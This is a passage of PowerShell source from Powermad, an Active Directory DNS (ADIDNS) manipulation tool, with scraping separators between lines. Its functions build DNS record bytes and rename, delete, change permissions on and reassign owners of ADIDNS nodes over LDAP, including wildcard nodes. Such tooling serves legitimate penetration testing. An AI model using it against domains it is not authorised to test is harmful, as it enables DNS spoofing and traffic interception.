$DNS_data += ($Data.Split(".")).Count
|
||
|
$DNS_data += New-DNSNameArray $Data
|
||
|
$DNS_data += 0x00
|
||
|
}
|
||
|
|
||
|
'DNAME'
|
||
|
{
|
||
|
[Byte[]]$DNS_type = 0x27,0x00
|
||
|
[Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1]
|
||
|
[Byte[]]$DNS_data = $Data.Length + 2
|
||
|
$DNS_data += ($Data.Split(".")).Count
|
||
|
$DNS_data += New-DNSNameArray $Data
|
||
|
$DNS_data += 0x00
|
||
|
}
|
||
|
|
||
|
'MX'
|
||
|
{
|
||
|
[Byte[]]$DNS_type = 0x0f,0x00
|
||
|
[Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 6))[0..1]
|
||
|
[Byte[]]$DNS_data = [System.Bitconverter]::GetBytes($Preference)[1,0]
|
||
|
$DNS_data += $Data.Length + 2
|
||
|
$DNS_data += ($Data.Split(".")).Count
|
||
|
$DNS_data += New-DNSNameArray $Data
|
||
|
$DNS_data += 0x00
|
||
|
}
|
||
|
|
||
|
'NS'
|
||
|
{
|
||
|
[Byte[]]$DNS_type = 0x02,0x00
|
||
|
[Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1]
|
||
|
[Byte[]]$DNS_data = $Data.Length + 2
|
||
|
$DNS_data += ($Data.Split(".")).Count
|
||
|
$DNS_data += New-DNSNameArray $Data
|
||
|
$DNS_data += 0x00
|
||
|
}
|
||
|
|
||
|
'PTR'
|
||
|
{
|
||
|
[Byte[]]$DNS_type = 0x0c,0x00
|
||
|
[Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1]
|
||
|
[Byte[]]$DNS_data = $Data.Length + 2
|
||
|
$DNS_data += ($Data.Split(".")).Count
|
||
|
$DNS_data += New-DNSNameArray $Data
|
||
|
$DNS_data += 0x00
|
||
|
}
|
||
|
|
||
|
'SRV'
|
||
|
{
|
||
|
[Byte[]]$DNS_type = 0x21,0x00
|
||
|
[Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 10))[0..1]
|
||
|
[Byte[]]$DNS_data = [System.Bitconverter]::GetBytes($Priority)[1,0]
|
||
|
$DNS_data += [System.Bitconverter]::GetBytes($Weight)[1,0]
|
||
|
$DNS_data += [System.Bitconverter]::GetBytes($Port)[1,0]
|
||
|
$DNS_data += $Data.Length + 2
|
||
|
$DNS_data += ($Data.Split(".")).Count
|
||
|
$DNS_data += New-DNSNameArray $Data
|
||
|
$DNS_data += 0x00
|
||
|
}
|
||
|
|
||
|
'TXT'
|
||
|
{
|
||
|
[Byte[]]$DNS_type = 0x10,0x00
|
||
|
[Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 1))[0..1]
|
||
|
[Byte[]]$DNS_data = $Data.Length
|
||
|
$DNS_data += [System.Text.Encoding]::UTF8.GetBytes($Data)
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
[Byte[]]$DNS_TTL = [System.BitConverter]::GetBytes($TTL)
|
||
|
[Byte[]]$DNS_record = $DNS_length +
|
||
|
$DNS_type +
|
||
|
0x05,0xF0,0x00,0x00 +
|
||
|
$SOASerialNumberArray[0..3] +
|
||
|
$DNS_TTL[3..0] +
|
||
|
0x00,0x00,0x00,0x00
|
||
|
|
||
|
if($Static)
|
||
|
{
|
||
|
$DNS_record += 0x00,0x00,0x00,0x00
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$timestamp = [Int64](([Datetime]::UtcNow)-(Get-Date "1/1/1601")).TotalHours
|
||
|
$timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($timestamp))
|
||
|
$timestamp = $timestamp.Split("-") | ForEach-Object{[System.Convert]::ToInt16($_,16)}
|
||
|
$timestamp = $timestamp[0..3]
|
||
|
$DNS_record += $timestamp
|
||
|
}
|
||
|
|
||
|
$DNS_record += $DNS_data
|
||
|
|
||
|
return ,$DNS_record
|
||
|
}
|
||
|
|
||
|
function Rename-ADIDNSNode
|
||
|
{
|
||
|
<#
|
||
|
.SYNOPSIS
|
||
|
This function renames an ADIDNS node.
|
||
|
|
||
|
Author: Kevin Robertson (@kevin_robertson)
|
||
|
License: BSD 3-Clause
|
||
|
|
||
|
.DESCRIPTION
|
||
|
This function can be used to rename an ADIDNS node. Note that renaming the ADIDNS node will leave the old
|
||
|
record within DNS.
|
||
|
|
||
|
.PARAMETER Credential
|
||
|
PSCredential object that will be used to rename the ADIDNS node.
|
||
|
|
||
|
.PARAMETER DistinguishedName
|
||
|
Distinguished name for the ADIDNS zone. Do not include the node name.
|
||
|
|
||
|
.PARAMETER Domain
|
||
|
The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
|
||
|
parameter.
|
||
|
|
||
|
.PARAMETER DomainController
|
||
|
Domain controller to target. This parameter is mandatory on a non-domain attached system.
|
||
|
|
||
|
.PARAMETER Node
|
||
|
The source ADIDNS node name.
|
||
|
|
||
|
.PARAMETER NodeNew
|
||
|
The new ADIDNS node name.
|
||
|
|
||
|
.PARAMETER Partition
|
||
|
Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored.
|
||
|
|
||
|
.PARAMETER Zone
|
||
|
The ADIDNS zone.
|
||
|
|
||
|
.EXAMPLE
|
||
|
Renames an ADIDNS node named test to test2.
|
||
|
Rename-ADIDNSNode -Node test -NodeNew test2
|
||
|
|
||
|
.LINK
|
||
|
https://github.com/Kevin-Robertson/Powermad
|
||
|
#>
|
||
|
|
||
|
[CmdletBinding()]
|
||
|
param
|
||
|
(
|
||
|
[parameter(Mandatory=$false)][String]$DistinguishedName,
|
||
|
[parameter(Mandatory=$false)][String]$Domain,
|
||
|
[parameter(Mandatory=$false)][String]$DomainController,
|
||
|
[parameter(Mandatory=$true)][String]$Node,
|
||
|
[parameter(Mandatory=$false)][String]$NodeNew = "*",
|
||
|
[parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
|
||
|
[parameter(Mandatory=$false)][String]$Zone,
|
||
|
[parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
|
||
|
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
|
||
|
)
|
||
|
|
||
|
if($invalid_parameter)
|
||
|
{
|
||
|
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
if(!$DomainController -or !$Domain -or !$Zone)
|
||
|
{
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
if(!$DomainController)
|
||
|
{
|
||
|
$DomainController = $current_domain.PdcRoleOwner.Name
|
||
|
Write-Verbose "[+] Domain Controller = $DomainController"
|
||
|
}
|
||
|
|
||
|
if(!$Domain)
|
||
|
{
|
||
|
$Domain = $current_domain.Name
|
||
|
Write-Verbose "[+] Domain = $Domain"
|
||
|
}
|
||
|
|
||
|
if(!$Zone)
|
||
|
{
|
||
|
$Zone = $current_domain.Name
|
||
|
Write-Verbose "[+] ADIDNS Zone = $Zone"
|
||
|
}
|
||
|
|
||
|
if(!$DistinguishedName)
|
||
|
{
|
||
|
|
||
|
if($Partition -eq 'System')
|
||
|
{
|
||
|
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
|
||
|
}
|
||
|
|
||
|
$DC_array = $Domain.Split(".")
|
||
|
|
||
|
ForEach($DC in $DC_array)
|
||
|
{
|
||
|
$distinguished_name += ",DC=$DC"
|
||
|
}
|
||
|
|
||
|
Write-Verbose "[+] Distinguished Name = $distinguished_name"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$distinguished_name = $DistinguishedName
|
||
|
}
|
||
|
|
||
|
if($Credential)
|
||
|
{
|
||
|
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
|
||
|
}
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$directory_entry.Rename("DC=$NodeNew")
|
||
|
Write-Output "[+] ADIDNS node $Node renamed to $NodeNew"
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
}
|
||
|
|
||
|
if($directory_entry.Path)
|
||
|
{
|
||
|
$directory_entry.Close()
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
function Remove-ADIDNSNode
|
||
|
{
|
||
|
<#
|
||
|
.SYNOPSIS
|
||
|
This function removes an ADIDNS node.
|
||
|
|
||
|
Author: Kevin Robertson (@kevin_robertson)
|
||
|
License: BSD 3-Clause
|
||
|
|
||
|
.DESCRIPTION
|
||
|
This function can be used to remove an ADIDNS node. Note that the if the node has not been tombstoned and
|
||
|
allowed to repliate to all domain controllers, the record will remain in DNS.
|
||
|
|
||
|
.PARAMETER Credential
|
||
|
PSCredential object that will be used to delete the ADIDNS node.
|
||
|
|
||
|
.PARAMETER DistinguishedName
|
||
|
Distinguished name for the ADIDNS zone. Do not include the node name.
|
||
|
|
||
|
.PARAMETER Domain
|
||
|
The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
|
||
|
parameter.
|
||
|
|
||
|
.PARAMETER DomainController
|
||
|
Domain controller to target. This parameter is mandatory on a non-domain attached system.
|
||
|
|
||
|
.PARAMETER Node
|
||
|
The ADIDNS node name.
|
||
|
|
||
|
.PARAMETER Partition
|
||
|
Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored.
|
||
|
|
||
|
.PARAMETER Zone
|
||
|
The ADIDNS zone.
|
||
|
|
||
|
.EXAMPLE
|
||
|
Removes a wildcard node.
|
||
|
Remove-ADIDNSNode -Node *
|
||
|
|
||
|
.LINK
|
||
|
https://github.com/Kevin-Robertson/Powermad
|
||
|
#>
|
||
|
|
||
|
[CmdletBinding()]
|
||
|
param
|
||
|
(
|
||
|
[parameter(Mandatory=$false)][String]$DistinguishedName,
|
||
|
[parameter(Mandatory=$false)][String]$Domain,
|
||
|
[parameter(Mandatory=$false)][String]$DomainController,
|
||
|
[parameter(Mandatory=$true)][String]$Node,
|
||
|
[parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
|
||
|
[parameter(Mandatory=$false)][String]$Zone,
|
||
|
[parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
|
||
|
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
|
||
|
)
|
||
|
|
||
|
if($invalid_parameter)
|
||
|
{
|
||
|
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
if(!$DomainController -or !$Domain -or !$Zone)
|
||
|
{
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
if(!$DomainController)
|
||
|
{
|
||
|
$DomainController = $current_domain.PdcRoleOwner.Name
|
||
|
Write-Verbose "[+] Domain Controller = $DomainController"
|
||
|
}
|
||
|
|
||
|
if(!$Domain)
|
||
|
{
|
||
|
$Domain = $current_domain.Name
|
||
|
Write-Verbose "[+] Domain = $Domain"
|
||
|
}
|
||
|
|
||
|
if(!$Zone)
|
||
|
{
|
||
|
$Zone = $current_domain.Name
|
||
|
Write-Verbose "[+] ADIDNS Zone = $Zone"
|
||
|
}
|
||
|
|
||
|
if(!$DistinguishedName)
|
||
|
{
|
||
|
|
||
|
if($Partition -eq 'System')
|
||
|
{
|
||
|
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
|
||
|
}
|
||
|
|
||
|
$DC_array = $Domain.Split(".")
|
||
|
|
||
|
ForEach($DC in $DC_array)
|
||
|
{
|
||
|
$distinguished_name += ",DC=$DC"
|
||
|
}
|
||
|
|
||
|
Write-Verbose "[+] Distinguished Name = $distinguished_name"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$distinguished_name = $DistinguishedName
|
||
|
}
|
||
|
|
||
|
if($Credential)
|
||
|
{
|
||
|
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
|
||
|
}
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$directory_entry.psbase.DeleteTree()
|
||
|
Write-Output "[+] ADIDNS node $Node removed"
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
}
|
||
|
|
||
|
if($directory_entry.Path)
|
||
|
{
|
||
|
$directory_entry.Close()
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
function Revoke-ADIDNSPermission
|
||
|
{
|
||
|
<#
|
||
|
.SYNOPSIS
|
||
|
This function removes an ACE to an ADIDNS node or zone DACL.
|
||
|
|
||
|
Author: Kevin Robertson (@kevin_robertson)
|
||
|
License: BSD 3-Clause
|
||
|
|
||
|
.DESCRIPTION
|
||
|
This function is mainly for removing the ACE associated with the user that created the DNS node
|
||
|
after adding an alternative ACE with Set-DNSPermission. Although this function will work on DNS zones,
|
||
|
non-administrators will rarely have the ability to modify a DNS zone.
|
||
|
|
||
|
.PARAMETER Access
|
||
|
Default = GenericAll: The ACE access type. The options our, AccessSystemSecurity, CreateChild, Delete,
|
||
|
DeleteChild, DeleteTree, ExtendedRight , GenericAll, GenericExecute, GenericRead, GenericWrite, ListChildren,
|
||
|
ListObject, ReadControl, ReadProperty, Self, Synchronize, WriteDacl, WriteOwner, WriteProperty.
|
||
|
|
||
|
.PARAMETER Credential
|
||
|
PSCredential object that will be used to modify the DACL.
|
||
|
|
||
|
.PARAMETER DistinguishedName
|
||
|
Distinguished name for the ADIDNS zone. Do not include the node name.
|
||
|
|
||
|
.PARAMETER Domain
|
||
|
The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
|
||
|
parameter.
|
||
|
|
||
|
.PARAMETER DomainController
|
||
|
Domain controller to target. This parameter is mandatory on a non-domain attached system.
|
||
|
|
||
|
.PARAMETER Node
|
||
|
The ADIDNS node name.
|
||
|
|
||
|
.PARAMETER Partition
|
||
|
Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored.
|
||
|
|
||
|
.PARAMETER Principal
|
||
|
The ACE user or group.
|
||
|
|
||
|
.PARAMETER Type
|
||
|
Default = Allow: The ACE allow or deny access type.
|
||
|
|
||
|
.PARAMETER Zone
|
||
|
The ADIDNS zone.
|
||
|
|
||
|
.EXAMPLE
|
||
|
Remove the GenericAll ACE associated for the user1 account.
|
||
|
Revoke-ADIDNSPermission -Node * -Principal user1 -Access GenericAll
|
||
|
|
||
|
.LINK
|
||
|
https://github.com/Kevin-Robertson/Powermad
|
||
|
#>
|
||
|
|
||
|
[CmdletBinding()]
|
||
|
param
|
||
|
(
|
||
|
[parameter(Mandatory=$false)][ValidateSet("AccessSystemSecurity","CreateChild","Delete","DeleteChild",
|
||
|
"DeleteTree","ExtendedRight","GenericAll","GenericExecute","GenericRead","GenericWrite","ListChildren",
|
||
|
"ListObject","ReadControl","ReadProperty","Self","Synchronize","WriteDacl","WriteOwner","WriteProperty")][Array]$Access = "GenericAll",
|
||
|
[parameter(Mandatory=$false)][ValidateSet("Allow","Deny")][String]$Type = "Allow",
|
||
|
[parameter(Mandatory=$false)][String]$DistinguishedName,
|
||
|
[parameter(Mandatory=$false)][String]$Domain,
|
||
|
[parameter(Mandatory=$false)][String]$DomainController,
|
||
|
[parameter(Mandatory=$false)][String]$Node,
|
||
|
[parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
|
||
|
[parameter(Mandatory=$false)][String]$Principal,
|
||
|
[parameter(Mandatory=$false)][String]$Zone,
|
||
|
[parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
|
||
|
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
|
||
|
)
|
||
|
|
||
|
if($invalid_parameter)
|
||
|
{
|
||
|
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
if(!$DomainController -or !$Domain -or !$Zone)
|
||
|
{
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
if(!$DomainController)
|
||
|
{
|
||
|
$DomainController = $current_domain.PdcRoleOwner.Name
|
||
|
Write-Verbose "[+] Domain Controller = $DomainController"
|
||
|
}
|
||
|
|
||
|
if(!$Domain)
|
||
|
{
|
||
|
$Domain = $current_domain.Name
|
||
|
Write-Verbose "[+] Domain = $Domain"
|
||
|
}
|
||
|
|
||
|
if(!$Zone)
|
||
|
{
|
||
|
$Zone = $current_domain.Name
|
||
|
Write-Verbose "[+] ADIDNS Zone = $Zone"
|
||
|
}
|
||
|
|
||
|
if(!$DistinguishedName)
|
||
|
{
|
||
|
|
||
|
if($Node)
|
||
|
{
|
||
|
|
||
|
if($Partition -eq 'System')
|
||
|
{
|
||
|
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
|
||
|
}
|
||
|
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
|
||
|
if($Partition -eq 'System')
|
||
|
{
|
||
|
$distinguished_name = "DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$distinguished_name = "DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
$DC_array = $Domain.Split(".")
|
||
|
|
||
|
ForEach($DC in $DC_array)
|
||
|
{
|
||
|
$distinguished_name += ",DC=$DC"
|
||
|
}
|
||
|
|
||
|
Write-Verbose "[+] Distinguished Name = $distinguished_name"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$distinguished_name = $DistinguishedName
|
||
|
}
|
||
|
|
||
|
if($Credential)
|
||
|
{
|
||
|
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
|
||
|
}
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$NT_account = New-Object System.Security.Principal.NTAccount($Principal)
|
||
|
$principal_SID = $NT_account.Translate([System.Security.Principal.SecurityIdentifier])
|
||
|
$principal_identity = [System.Security.Principal.IdentityReference]$principal_SID
|
||
|
$AD_rights = [System.DirectoryServices.ActiveDirectoryRights]$Access
|
||
|
$access_control_type = [System.Security.AccessControl.AccessControlType]$Type
|
||
|
$AD_security_inheritance = [System.DirectoryServices.ActiveDirectorySecurityInheritance]"All"
|
||
|
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($principal_identity,$AD_rights,$access_control_type,$AD_security_inheritance)
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$directory_entry.psbase.ObjectSecurity.RemoveAccessRule($ACE) > $null
|
||
|
$directory_entry.psbase.CommitChanges()
|
||
|
Write-Output "[+] ACE removed for $Principal"
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
}
|
||
|
|
||
|
if($directory_entry.Path)
|
||
|
{
|
||
|
$directory_entry.Close()
|
||
|
}
|
||
|
|
||
|
return $output
|
||
|
}
|
||
|
|
||
|
function Set-ADIDNSNodeAttribute
|
||
|
{
|
||
|
<#
|
||
|
.SYNOPSIS
|
||
|
This function can append, populate, or overwite values in an ADIDNS node attribute.
|
||
|
|
||
|
Author: Kevin Robertson (@kevin_robertson)
|
||
|
License: BSD 3-Clause
|
||
|
|
||
|
.DESCRIPTION
|
||
|
This function can append, populate, or overwite values in an ADIDNS node attribute.
|
||
|
|
||
|
.PARAMETER Append
|
||
|
Switch: Appends a value rather than overwriting. This can be used to the dnsRecord attribute
|
||
|
to create multiple DNS records of the same name for round robin, etc.
|
||
|
|
||
|
.PARAMETER Attribute
|
||
|
The ADIDNS node attribute.
|
||
|
|
||
|
.PARAMETER Credential
|
||
|
PSCredential object that will be used to modify the attribute.
|
||
|
|
||
|
.PARAMETER DistinguishedName
|
||
|
Distinguished name for the ADIDNS zone. Do not include the node name.
|
||
|
|
||
|
.PARAMETER Domain
|
||
|
The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
|
||
|
parameter.
|
||
|
|
||
|
.PARAMETER DomainController
|
||
|
Domain controller to target. This parameter is mandatory on a non-domain attached system.
|
||
|
|
||
|
.PARAMETER Node
|
||
|
The ADIDNS node name.
|
||
|
|
||
|
.PARAMETER Partition
|
||
|
Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored.
|
||
|
|
||
|
.PARAMETER Value
|
||
|
The attribute value.
|
||
|
|
||
|
.PARAMETER Zone
|
||
|
The ADIDNS zone.
|
||
|
|
||
|
.EXAMPLE
|
||
|
Set the writable description attribute on a node named test.
|
||
|
Set-ADIDNSNodeAttribute -Node test -Attribute description -Value "do not delete"
|
||
|
|
||
|
.LINK
|
||
|
https://github.com/Kevin-Robertson/Powermad
|
||
|
#>
|
||
|
|
||
|
[CmdletBinding()]
|
||
|
param
|
||
|
(
|
||
|
[parameter(Mandatory=$false)][String]$DistinguishedName,
|
||
|
[parameter(Mandatory=$false)][String]$Domain,
|
||
|
[parameter(Mandatory=$false)][String]$DomainController,
|
||
|
[parameter(Mandatory=$true)][String]$Attribute,
|
||
|
[parameter(Mandatory=$true)][String]$Node,
|
||
|
[parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
|
||
|
[parameter(Mandatory=$false)][String]$Zone,
|
||
|
[parameter(Mandatory=$true)]$Value,
|
||
|
[parameter(Mandatory=$false)][Switch]$Append,
|
||
|
[parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
|
||
|
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
|
||
|
)
|
||
|
|
||
|
if($invalid_parameter)
|
||
|
{
|
||
|
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
if(!$DomainController -or !$Domain -or !$Zone)
|
||
|
{
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
if(!$DomainController)
|
||
|
{
|
||
|
$DomainController = $current_domain.PdcRoleOwner.Name
|
||
|
Write-Verbose "[+] Domain Controller = $DomainController"
|
||
|
}
|
||
|
|
||
|
if(!$Domain)
|
||
|
{
|
||
|
$Domain = $current_domain.Name
|
||
|
Write-Verbose "[+] Domain = $Domain"
|
||
|
}
|
||
|
|
||
|
if(!$Zone)
|
||
|
{
|
||
|
$Zone = $current_domain.Name
|
||
|
Write-Verbose "[+] ADIDNS Zone = $Zone"
|
||
|
}
|
||
|
|
||
|
if(!$DistinguishedName)
|
||
|
{
|
||
|
|
||
|
if($Partition -eq 'System')
|
||
|
{
|
||
|
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
|
||
|
}
|
||
|
|
||
|
$DC_array = $Domain.Split(".")
|
||
|
|
||
|
ForEach($DC in $DC_array)
|
||
|
{
|
||
|
$distinguished_name += ",DC=$DC"
|
||
|
}
|
||
|
|
||
|
Write-Verbose "[+] Distinguished Name = $distinguished_name"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$distinguished_name = "DC=$Node," + $DistinguishedName
|
||
|
}
|
||
|
|
||
|
if($Credential)
|
||
|
{
|
||
|
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
|
||
|
}
|
||
|
|
||
|
try
|
||
|
{
|
||
|
|
||
|
if($Append)
|
||
|
{
|
||
|
$directory_entry.$Attribute.Add($Value) > $null
|
||
|
$directory_entry.SetInfo()
|
||
|
Write-Output "[+] ADIDNS node $Node $attribute attribute appended"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$directory_entry.InvokeSet($Attribute,$Value)
|
||
|
$directory_entry.SetInfo()
|
||
|
Write-Output "[+] ADIDNS node $Node $attribute attribute updated"
|
||
|
}
|
||
|
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
}
|
||
|
|
||
|
if($directory_entry.Path)
|
||
|
{
|
||
|
$directory_entry.Close()
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
function Set-ADIDNSNodeOwner
|
||
|
{
|
||
|
<#
|
||
|
.SYNOPSIS
|
||
|
This function can sets the owner of an ADIDNS Node.
|
||
|
|
||
|
Author: Kevin Robertson (@kevin_robertson)
|
||
|
License: BSD 3-Clause
|
||
|
|
||
|
.DESCRIPTION
|
||
|
This function can sets the owner of an ADIDNS Node.
|
||
|
|
||
|
.PARAMETER Attribute
|
||
|
The ADIDNS node attribute.
|
||
|
|
||
|
.PARAMETER Credential
|
||
|
PSCredential object that will be used to read the attribute.
|
||
|
|
||
|
.PARAMETER DistinguishedName
|
||
|
Distinguished name for the ADIDNS zone. Do not include the node name.
|
||
|
|
||
|
.PARAMETER Domain
|
||
|
The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
|
||
|
parameter.
|
||
|
|
||
|
.PARAMETER DomainController
|
||
|
Domain controller to target. This parameter is mandatory on a non-domain attached system.
|
||
|
|
||
|
.PARAMETER Node
|
||
|
The ADIDNS node name.
|
||
|
|
||
|
.PARAMETER Partition
|
||
|
Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored.
|
||
|
|
||
|
.PARAMETER Principal
|
||
|
The user or group that will be granted ownsership.
|
||
|
|
||
|
.PARAMETER Zone
|
||
|
The ADIDNS zone.
|
||
|
|
||
|
.EXAMPLE
|
||
|
Set the owner of a node named test to user1.
|
||
|
Set-ADIDNSNodeOwner -Node test -Principal user1
|
||
|
|
||
|
.LINK
|
||
|
https://github.com/Kevin-Robertson/Powermad
|
||
|
#>
|
||
|
|
||
|
[CmdletBinding()]
|
||
|
param
|
||
|
(
|
||
|
[parameter(Mandatory=$false)][String]$DistinguishedName,
|
||
|
[parameter(Mandatory=$false)][String]$Domain,
|
||
|
[parameter(Mandatory=$false)][String]$DomainController,
|
||
|
[parameter(Mandatory=$true)][String]$Node,
|
||
|
[parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
|
||
|
[parameter(Mandatory=$true)][String]$Principal,
|
||
|
[parameter(Mandatory=$false)][String]$Zone,
|
||
|
[parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
|
||
|
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
|
||
|
)
|
||
|
|
||
|
if($invalid_parameter)
|
||
|
{
|
||
|
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
if(!$DomainController -or !$Domain -or !$Zone)
|
||
|
{
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
throw
|
||
|
}
|
||
